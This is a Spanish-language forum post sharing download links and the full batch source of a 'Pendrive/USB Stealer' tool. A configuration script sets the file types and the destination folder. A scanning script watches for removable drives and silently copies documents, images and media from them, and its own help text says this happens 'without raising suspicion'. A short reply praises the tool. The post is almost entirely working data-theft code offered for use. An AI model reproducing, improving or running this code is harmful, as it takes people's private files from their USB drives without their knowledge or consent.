Cita de: :: SmartGenius :: en 3 Octubre 2008, 05:25 AM
Necesitas ayuda con codigos.....ya tengo la idea bastante desarrollada hace rato...y ya ahi una version funcional...programada con ayuda del compañero Rockox...
Mira...lo puedes descargar aqui...
http://two.xthost.info/smartgenius/SourceCodeUSBStealerV1.01.zip
http://rapidshare.com/files/122880149/USBPendriveStealerv1.01.zip
El programa consta de dos codes...uno de configuracion y uno de escaneo...
USBStealerCódigo [Seleccionar]@echo off
mode con cols=70
mode con lines=40
title Pendrive Stealer - Local
color 0a
REM Script de Copia de Dispositivos USB
REM Coded by :: SmartGenius :: , RockoX
if exist "myfolder.cfg" (goto anim) else (goto ins)
:ins
cls
echo.
echo Instalando el Programa...
echo Por favor espere
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
md "Mi Carpeta"
echo "Mi Carpeta\">"myfolder.cfg"
ping -n 2 0.0.0.0 > nul
pause
goto anim
:anim
cls
echo.
echo ±±±±± ±±±±±
echo ±±°°°°°± ±±°°°°°±
echo ±°°°°°°°±± ±°°°°°°°±
echo ±±°°°°°°°°°± ±±°°°°°°°°±±
echo ±°°°°°°°°°°°± ±±°°°°°°°°°°°°±
echo ±°°°°°°°°°°°°±± ²²²²²²²²²²²²²²²²²² ±±±°°°°°°°°°°°°°°±
echo ±±°°°°°°°°°°°°±±± ²²²²±±°°°°°°°°°°°°±±²²²²±°°°°°°°°°°°°±±±±±
echo ±±±±±±°°°°°°°°°±²²²²°°°°°°°°°°°°°°°°°°°°°°²²²²°°°°°°±±±±±
echo ±±±°°°°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo ±°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²±
echo ²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°±±²²
echo ²²°°°°°°°°°°²²²²°°°°°°°°²²²²°°°°°°°°°°°²²
echo ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo ²²°°°°°°°°°±²²²²°°°°°°°±²²²²°°°°°°°°°°°²²
echo ²²±±°°°°°°°°°°°°°°±±±±°°°°°°°°°°°°°°°°²²
echo ²²²°°°°°°°°°°°°°°²²²²°°°°°°°°°°°°°°²²²²
echo ±±²²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo ±±°°°°²²±°°°°°°°°°°°°°°°°°°°°°°°°°°²²°°°°°°±±
echo ±±±°°°°°°°²²²²°°°°°°°°°°°°°°°°°°°°°²²²°°°°°°°°°°±±±±±±±
echo ±±±±±±°°°°°°°°±±² ²²²°°°°°°°°°°°°°°°°°°²² ±±°°°°°°°°°°°°°°°±±
echo ±±°°°°°°°°°°°°±± ²°°°°°°°°°°°°°°°°°°² ±±±±°°°°°°°°°°°°°±
echo ±°°°°°°°°°°°±± ²°°°°°°°°°°°°°°°°°°² ±±°°°°°°°°°°±±
echo ±±°°°°°°°°±± ²°°±°°±°°±°°±°°±°°°² ±°°°°°°°°±±
echo ±±°°°°°±± ²²²²²²²²²²²²²²²²²²²² ±±°°°°°°±
echo ±°°°±± ±°°°°±
echo ±±±± ±±±±
echo.
echo ²²² ²²² ²² ²²² ²² ²² ²²² ² ² ²²² ²²² ²²²
echo ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ²
echo ² ² ² ² ² ²²² ²² ² ² ²²² ²² ²²² ²²² ²²²
echo ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ²
echo ²²² ²²² ²² ²²² ² ² ² ² ² ² ²²² ² ² ²²²
echo.
pause
goto main
:main
cls
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º Pendrive Stealer v 1.0 xD º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Elija una Opcion:
echo.
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³1³ ³ Definir carpeta principal...³ ³2³ ³ Tipos de Archivos.. ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³3³ ³ Iniciar Escaneo de USBs... ³ ³4³ ³ Ayuda del Programa.. ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³5³ ³ Salir del Programa.. ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc=">> "
if "opc"=="" (goto main)
set opc=%opc: =_%
if %opc%==1 goto dcp
if %opc%==2 goto ftype
if %opc%==3 goto scan
if %opc%==4 goto help
if %opc%==5 (goto out) else (goto err)
:err
cls
echo.
echo ERROR...
echo.
echo No ha escogido una Opcion Correcta
echo Vuelva a Intentarlo
echo.
pause
goto main
:dcp
cls
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º Pendrive Stealer v 1.0 xD º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo En esta opcion puede definir en donde se guardaran
echo los archivos copiados...
echo.
echo Arrastre aqui la carpeta
echo.
set /p dcp=">> "
if "dcp"=="" (goto dcp)
echo %dcp%>"myfolder.cfg"
echo.
echo La carpeta : %dcp%
echo se ha establecido exitosamente...
echo.
pause
goto main
:ftype
cls
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º Pendrive Stealer v 1.0 xD º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Configure aqui los tipos de archivos que desea Escanear y Copiar
echo.
echo Elija una Opcion:
echo.
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³1³ ³ Documentos... ³ ³2³ ³ Imagenes ^& Fotos.. ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³3³ ³ Musica ^& Audio ³ ³4³ ³ Documentos ^& Imagenes.. ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³5³ ³ Videos * ³ ³6³ ³ Todas las Opciones... * ³
echo ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo * Las Opciones 5 y 6 pueden tardar mas de lo normal...
echo.
set /p typ=">> "
if "typ"=="" (goto ftype)
if %typ%==1 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb>"ftypes.cfg" & goto yap)
if %typ%==2 (echo *.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==3 (echo *.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg>"ftypes.cfg" & goto yap)
if %typ%==4 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==5 (echo *.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov>"ftypes.cfg" & goto yap)
if %typ%==6 (echo *.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma>"ftypes.cfg" & goto yap)
goto main
:yap
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
echo.
echo Tipos de Archivos Configurados correctamente
echo.
echo Archivos con Extension: %filetypes%
echo.
pause
goto main
:scan
start USBScan.bat
exit
:help
cls
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º Pendrive Stealer v 1.0 xD º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Este programa tiene la Funcion de copiar archvos desde dispositivos
echo USB, de manera silenciosa y sin levantar sospechas...
echo.
echo El programa puede ser congifurado facilmente, dandole opciones de
echo escoger que tipos de archivos copiar y en que carpeta se deben
echo guardar...
echo.
echo.
echo Titulo: Pendrive USB Stealer, Version 1.0 Local
echo Autores: :: SmartGenius ::, RockoX
echo Web: http://foro.code-makers.es
echo.
echo SmartGenius, Corp. 2008
echo.
pause
goto main
:out
cls
echo MsgBox "Gracias por usar este Programa", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit
USBScanCódigo [Seleccionar]@echo off
title USB Stealer - Local
color 0a
:load
cls
echo MsgBox "Se inicio el Escaneo...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto ini
:ini
if not exist "myfolder.cfg" (goto fixfolder)
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
if not exist "ftypes.cfg" (gotp fixfiles)
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
goto main
:main
for %%u in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do call :comp %%u
goto ini
:comp
set unidad=%1
FSUTIL FSINFO DRIVETYPE %unidad%:>%temp%\letuni.tmf
if %errorlevel%==1 (goto usb2)
for /F "tokens=*" %%e in (%temp%\letuni.tmf) do set let=%%e
if %let:~-4%==ble (call :usb %unidad%)
if %let:~-4%==ija (goto :eof)
if %let:~-4%==ROM (goto :eof)
:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB>db.ini
goto :eof
:usb2
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :usb %%n)
goto ini
:fixfiles
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
echo MsgBox "Los Tipos de Archivo no estan configurados...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit
:fixfolder
echo "Mi Carpeta\">"myfolder.cfg"
echo MsgBox "No Hay una Carpeta Predefinida...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit
Saludos.
Que cosa mas presiosa
me encanto XD
